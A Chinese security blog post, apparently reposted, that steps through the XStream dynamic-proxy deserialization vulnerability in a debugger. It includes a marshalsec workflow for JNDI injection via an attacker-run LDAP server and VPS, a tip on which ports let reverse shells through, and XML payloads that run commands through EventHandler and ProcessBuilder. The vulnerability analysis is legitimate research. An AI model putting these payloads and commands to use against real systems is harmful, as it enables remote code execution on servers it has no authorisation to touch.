xstream动态代理反序列化漏洞调试分析 - yzcxld

admin 2021年12月31日15:14:28评论135 views字数 5354阅读17分50秒阅读模式

前言

最近一直忙着攻防比赛,然后在项目中碰到了泛微OA-Cology WorkflowServiceXml RCE漏洞,当中利用到了xs反序列化的一些东西。所以打算把xs反序列化都分析一遍。这里顺便说一下,感觉有些人知道marshalsec-0.0.1-SNAPSHOT-all.jar这个工具,但是每次都是复制粘贴命令,换个陌生的环境就不会用了。这里稍微友情提示一下用法,比如WorkflowServiceXml漏洞中的用法,主要是四个步骤:
1.python -m http.server 8888//这里是开启了一个http服务,放置我们的恶意类(vps)
2.java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389 //这里是开启了一个ldap服务,jndi注入需要访问的恶意ldap服务。(vps)
3.java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml//这里是利用marshalsec-0.0.3-SNAPSHOT-all.jar生成了反序列化利用链的payload,其中的ldap服务器应该是我们防止恶意类的服务器(在我的攻击中,当时测试了dnsurl链是没有问题了的,使用XStream CommonsBeanutils 链迟迟弹不回来shell,当时以为是链子存在问题,后来使用dnslog的地址发现是能接受到请求的,最多多次尝试以后发现是端口的问题。只能过80,443,和53,自己随便的写的端口当然没有弹回来,记录一下,以后授权项目尽可能使用常用端口弹)
4.发送payload
攻击者(生成payload,发送payload)->服务器(接受payload,请求恶意的ldap服务)-》VPS(恶意ldap服务器)

漏洞版本

1.4.x系列<=1.4.6或=1.4.10

前置知识

java 动态代理
java EventHandler类
java ProcessBuilder命令执行

搭建环境

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>xstream</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
       <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.10</version>
    </dependency>
         </dependencies>
</project>

POC.xml

<dynamic-proxy>
    <interface>car</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

POC

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.mapper.DefaultMapper;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;

public class xstream {

 public xstream() throws FileNotFoundException {
     String path = this.getClass().getClassLoader().getResource("poc.xml").getPath();
     InputStream in = new FileInputStream(path);
     XStream xs = new XStream();
     car c = (car)xs.fromXML(in);
     c.run();
 }
    public static void main(String[] args) throws FileNotFoundException {
       xstream x = new xstream();
    }
}

基础分析

根据我们的poc.xml来看,我们会利用到java.beans.EventHandler,那么这个类是拿来做什么的呢。
Java.beans.EventHandler也是实现了InvocationHandler接口的动态代理类处理程序,EventHandler能够起到监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。这里对我们的poc.xml分析猜测一下,整个流程应该生成了一个委托类为java.lang.ProcessBuilder的EventHandler动态代理处理器,其中EventHandler成员变量也就是action指定的方法为start。然后对car做了一个动态代理,当我们的car动态代理任意方法执行,就会执行EventHandler指定的方法start,也就是
java.lang.ProcessBuilder.start(),我之前有偏一篇waf绕过加命令执行分析讲过,java.lang.ProcessBuilder.start()也能执行系统命令。猜测是这样,实际结果还是要跟一下才知道。

xstream动态代理反序列化漏洞调试分析 -  yzcxld
调试分析

直接在xs.fromXML(in)下个断点,跟踪,中间一直在调用unmarshal()方法,有兴趣可以跟下去看看,给了一个安全警告,然后调用了marshallingStrategy.unmarshal()方法,

一般这种marshallingStrategy的赋值,应该是存在构造方法或者某个set方法中,事实证明也是在setMarshallingStrategy()方法中,这里可以简单跟一下,最后发现是在setMode()中进行了赋值,就不跟了,有兴趣可以下个断点找一下这些数据流向和赋值流程

继续回到我们开始的地方,这里调用了context.start()方法,我们跟进去看看

从下面的截图中可以看出,最终是利用EventHandler来调用了ProcessBuilder.start进行了命令执行。那么是如何获取到的呢,我们一步步跟进去看看(才开始学习反序列化的时候总是跟着别人的文章分析,写出来倒是一模一样,但是中间总是稀里糊涂的,所以后面我选择将主干跟踪,当发现了哪里出现的我所需要的东西,就进去看看这是怎么生成的。这里通过this.convertAnother((Object)null, type)获取到了我们的参数,我们就跟进去看看具体怎么生成的,下断点)

Object result = this.convertAnother((Object)null, type);跟进一下这里

跟进lookupConverterForType()方法,跟踪发现,这里就是寻找一个合适转换器,方便后期去提取出我们的代理对象

这里应该就是进行转化了,进去看看,此时 看一看转换传入的参数

跟进一下这里,因为在这里发现获取到了Eventhandler
convert->converter.unmarshal()

String elementName = reader.getNodeName();
if (elementName.equals("interface")) {
interfaces.add(this.mapper.realClass(reader.getValue()));
 看一下,这里获取到了car接口的信息,也就是说在这里开始解析xml了,回头看一下我们的xml,先解析interface,然后handler,后面的自己跟,就不再说了。现在第一个问题已经解决了,就是找到如何获取我们的EventHandler的地方

那么到这里就很熟悉了 ,动态代理机制,创建动态代理对象,稍微要注意一下,这里是建立了一个空代理。下面再看一下是如何获取到target里面的参数。

context.convertAnother()
 result = this.doUnmarshal(result, reader, context);

看到这里又是异常的熟悉,我们前边取到xml标签里的内容就是这个样子的,这里就是取到了action和target,前面已经分析过了就不再分析了。

这里将我们标签的内容添加到了collection中

中间跟下去会有很多重复的,也就是对我们xml标签内容进行处理,太多了就不截图了。一直跟下去会看到当获取到了我们xml标签的内容后,重新生成了一个代理,现在不再是一个空白代理,而是参数为如下截图的一个代理。其实到了现在我们也清楚了,我们之前针对poc的猜测还是没问题的。

最后,当我们执行代理对象的任意方法,则会调用EventHandler类代理对象的指定方法。这里的方法为start,委托代理类为ProcessBuilder,common为calc。那么接下来我们只需要随意执行一个代理接口里的任意方法。就可以执行我们弹计算的方法了。当然再实际的环境中,我们在没有源码的情况下,要能够直接猜测出别人的接口,还是有一定难度的。所以如何找一个通用的执行效果,才是我们的最终目标。

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc.exe</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>
这是在网上找的另外的一个poc,我们前期已经分析了他的执行流程。那我们看poc应该明白,这个poc触发的原因应该是在执行的过程中,调用了java.lang.Comparable接口下的某个方法。看到只有一个compareTo,这里就看看哪里调用了compareTo()也就大功告成了。

寻找一下哪里存在compareTo()方法的调用(略微刻意,本来想看看idea是否有功能可以直接将函数执行过程中的所有方法打印出来,但是失败了,这里就直接find全局查找,找到了这里下一个断点,事实证明确实在执行过程中调用了这个方法。

网上分析的文章还是挺多的,才开始本来打算看一下分析文章关键点下点断点看一下参数的。结果xstream的处理流程太多的重复了,在处理这些重复的过程中,自己也想了一些方法。所以在这里记录一下。
本次分析的思路是这个样子
1.根据poc中出现的函数,盲猜一下整个的执行流程。
2.根据猜测去调试,当出现关键的信息(如EventHandler),跟踪一下如何生成的
3.跟踪完成后,反思一下整个流程。

参考文章
https://blog.csdn.net/wenrennaoda/article/details/105564606

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:14:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xstream动态代理反序列化漏洞调试分析 - yzcxldhttps://cn-sec.com/archives/710817.html

发表评论

匿名网友 填写信息